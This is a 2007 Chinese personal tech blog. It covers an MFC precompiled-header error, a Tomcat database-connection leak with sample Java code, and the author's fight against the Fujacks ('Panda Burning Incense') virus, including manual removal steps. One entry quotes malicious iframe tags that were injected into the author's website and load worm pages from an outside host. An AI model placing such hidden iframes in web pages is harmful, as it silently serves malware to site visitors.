星期二, 一月 30, 2007

1月29日,光缆修复了

google的各项服务使用起来基本正常了,很爽的感觉。
如果你要一个人觉得幸福,先剥夺他的全部,再给予他。

星期五, 一月 26, 2007

unexpected end of file while looking for precompiled header directive

编译CxImage库,有个MFC问题,我不想再敲了,下面是一篇文章,说的挺好的,我贴了。重申一次,I hate mfc
--------------------------------------------------------------------------------

Error message C1010
--------------------------------------------------------------------------------
?
?Error message C1010
If, while building an MFC application, you receive the error message "fatal error C1010: unexpected end of file while looking for precompiled header directive" it means you have run afoul of the compiler's handling of precompiled headers.

What are precompiled headers?
MFC programs use many libraries, requiring the use of many header files. To save time, the compiler tries to precompile most of these header files, and use the predigested data instead of reading through all of these header files on every compilation. There are a number of ways to do this. The standard method for MFC programs is to lump all of these common header file references into one header file ("stdafx.h"). If you just have to ask what "stdafx" means, it comes from the early name of MFC, which was AFX (application framework).

When compiling each source (.cpp) file, the compiler skips through the source code, looking for the directive:

#include "stdafx.h"

Once it finds this directive, it substitutes the precompiled header information and then begins compiling the rest of the file. If your source file doesn't contain this directive, you get the C1010 error described above.

Fixing the problem
There are two ways to get rid of the error, depending on the file you are trying to compile:

The direct solution is to add the include directive to your source file, before any other library references or other code. This solution is appropriate when the module you are compiling needs to make use of MFC classes (e.g., CString).
If your module is "pure" C++ code (for example, your own "Date" class), with no need to reference MFC at all, then you may prefer not to add the "stdafx.h" include directive. In this case, you can change the project settings to inform MSVC that you are not making use of the precompiled header files. Here's how to do it:
From the Project menu, select Settings ....
Make sure the Settings for selection reflects the project you are building. By default, this will likely be "Win32 Debug".
Expand the Source Files folder in the list on the left, and click once on the source file that you don't want to use precompiled headers.
On the right, select the C/C++ tab.
In the Category combo box, select Precompiled headers.
Select the Not using precompiled headers option.
Repeat for any other files for which you wish to disable precompiled headers (but not for any files created by the Developer Studio AppWizard).
Click OK to close the project settings dialog.

星期二, 一月 23, 2007

切记,资源需要关闭!

节前搭建起来的网站,由于业务的关系,暂时还没正式投入运行,访问量极低。就这样的背景下,居然隔三五天就不能访问了,甚至有一次3点还能访问,3点10分就访问不了啦,首页面可以出来,就是无法登录,查tomcat日志也什么都没有,蹊跷的很。
后来好好分析了一下,首页面是一个jsp页面,能够正常显示,应该是tomcat还活着,登录是一个servlet,其功能也很简单,就是到数据库里比一下口令。
既然jsp能出来,servlet不能响应,而jsp在运行的时候,也是转换为servlet在运行的,说明servlet的引擎也是好的,唯一的查找问题点就落在了数据库连接方面。
为了效率,在获取数据库连接方面使用了tomcat的连接池,难道是设置有不正确的地方?在网上搜集了很多这方面资料,也只有少量“瑕疵”而已,大体上还是正确的嘛。
最后还是把问题指向了连接池的关闭上。
昨天上午,好好查了一下代码,进行全文搜索,只要获取连接,看看后边有没跟一个关闭的语句。
果然就找到了,多个servlet就只有一个忘了关,他运行的次数越多,问题出现的也就越快!
原因太简单了,以前作项目也遇到过完全一样的问题,没想到还是不小心,漏关connection一次就造成这么明显的问题。
-------------------------------------------
附一个标准使用tomcat连接池的代码:
Here is an example of get db connection from a conectiono pool:
Context initContext = new InitialContext();
Context envContext = (Context)initContext.lookup("java:/comp/env");
DataSource ds = (DataSource)envContext.lookup("jdbc/myoracle");
Connection conn = ds.getConnection();
//etc.

Here is an example of properly written code to use a db connection obtained from a connection pool:
Connection conn = null;
Statement stmt = null; // Or PreparedStatement if needed
ResultSet rs = null;
try {
conn = ... get connection from connection pool ...
stmt = conn.createStatement("select ...");
rs = stmt.executeQuery();
... iterate through the result set ...
rs.close();
rs = null;
stmt.close();
stmt = null;
conn.close(); // Return to connection pool
conn = null; // Make sure we don't close it twice
} catch (SQLException e) {
... deal with errors ...
} finally {
// Always make sure result sets and statements are closed,
// and the connection is returned to the pool
if (rs != null) {
try { rs.close(); } catch (SQLException e) { ; }
rs = null;
}
if (stmt != null) {
try { stmt.close(); } catch (SQLException e) { ; }
stmt = null;
}
if (conn != null) {
try { conn.close(); } catch (SQLException e) { ; }
conn = null;
}
}

星期五, 一月 12, 2007

病毒复染,W32.Fujacks!html

1月11日,病毒复染,W32.Fujacks!html。
这次换了一台电脑,在下午3点钟左右开始发作。
其实都是kodak惹的祸。前几天访问kodak网站报错,问了客服,他们建议我把IE的所有设置都改为允许。结果今天就遭殃了,kodak的冲洗服务继续报错,我的机器却染了病毒。
1月12日,诺顿病毒定义码升级到10日后,即可杀W32.Fujacks!html毒。
在上次感染W32.Fujacks.E病毒的那台电脑上,截至当天下班前C盘还没有扫描完,已经查出了8000多个W32.Fujacks!html病毒。
1月15日,
截至当天晚上,杀毒数目为:24023个,还没有结束。

星期一, 一月 08, 2007

病毒确诊:W32.Fujacks.E

1月8日,中午。
最新进展:确认感染病毒名称为W32.Fujacks.E。诺顿升级到1月7日,可杀该病毒。
在使用诺顿全盘扫描前,一定要手工排除该病毒的运行,方法见5号文章。
绝大部分文件可直接清除病毒,少量文件只能隔离。

星期六, 一月 06, 2007

病毒影响面扩大

2007年1月6日,病毒影响面扩大。

今天在家休息,偶尔访问前段时间做的网站,居然登陆不了,看了源代码,才发现问题更大。

网站首页被嵌入病毒代码,<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>,百度一下,发现又是那个臭名昭著的"熊猫烧香"病毒干的坏事。

据说还有可能嵌入此代码:<iframe src=http://www.krvkr.com/muma.htm></iframe>

由于网站还未正式上线,不致于带来大面积破坏,还是能吓人一身冷汗的。

看来samba也不能随便用的,否则病毒再嚣张也扩散不到Linux服务器上啊。

一切要等周一看看服务器网页被"插入"多少恶意代码才知道其影响范围,不出意外的话,应该是全部jsp页面全被感染,修改的工作量不会小。

星期五, 一月 05, 2007

新年过后,有点背


2007年1月5日,周五,新年过后第二个工作日。


今天真点背,早上把手套丢了,座车的时候把手套放在包上,下车的时候就拿了包,没拿手套。
上午10点,突然发现自己机器的防病毒程序没了,然后察看进程,发现"任务管理器"启动不了啦。再然后发现机器上的UltraEdit不能用了,EditPlus不能用了,是因为exe执行程序被人删掉了!
立即进入警惕状态,查!
情况更严重。
1,ghost文件被人删除了。
2,E盘上出现了GameSetup.exe程序。
3,U盘上出现了AutoRun.inf和setup.exe程序。
4,使用哪个exe程序,哪个就不能用,如VC。
5,多个目录中发现了Desktop_.ini文件。
6,天网防火墙无法启动。
7,诺顿防病毒无法启动。
侦查目标指向:Nimaya,Viking,WhBoy。
使用了金山和瑞星的转杀工具,均无效,目前机器仍无法恢复。

在线安装诺顿防病毒,安装失败,后改用下载好的再安装。

手仞"熊猫"病毒的方法:
==========
1. 断开网络

2. 结束病毒进程
%System%\drivers\spoclsv.exe

3. 删除病毒文件:
%System%\drivers\spoclsv.exe

4. 右键点击分区盘符,点击右键菜单中的"打开"进入分区根目录,删除根目录下的文件:
X:\setup.exe
X:\autorun.inf

5. 删除病毒创建的启动项:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"svcshare"="%System%\drivers\spoclsv.exe"

6. 修改注册表设置,恢复"显示所有文件和文件夹"选项功能:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
"CheckedValue"=dword:00000001

7. 修复或重新安装反病毒软件

8. 使用反病毒软件或专杀工具进行全盘扫描,清除恢复被感染的exe文件

需按照如下办法处理:
1,手仞病毒。
2,重启电脑。重装norton,升级最新病毒定义。
3,重启电脑,进入安全模式。
4,杀毒,全盘扫描。使用诺顿扫描,使用转杀工具扫描。


截至到今天下班为止,仍然没有修复,其中还经历另一次病毒的反复。可能是因为清除病毒后,没有全面杀毒,运行了一个被感染了病毒的程序造成的。下班的时候再次进入全盘扫描,就回家了,下周一应该会好了。


星期一, 一月 01, 2007

开篇2007

新的一年,将BLOG迁至此处。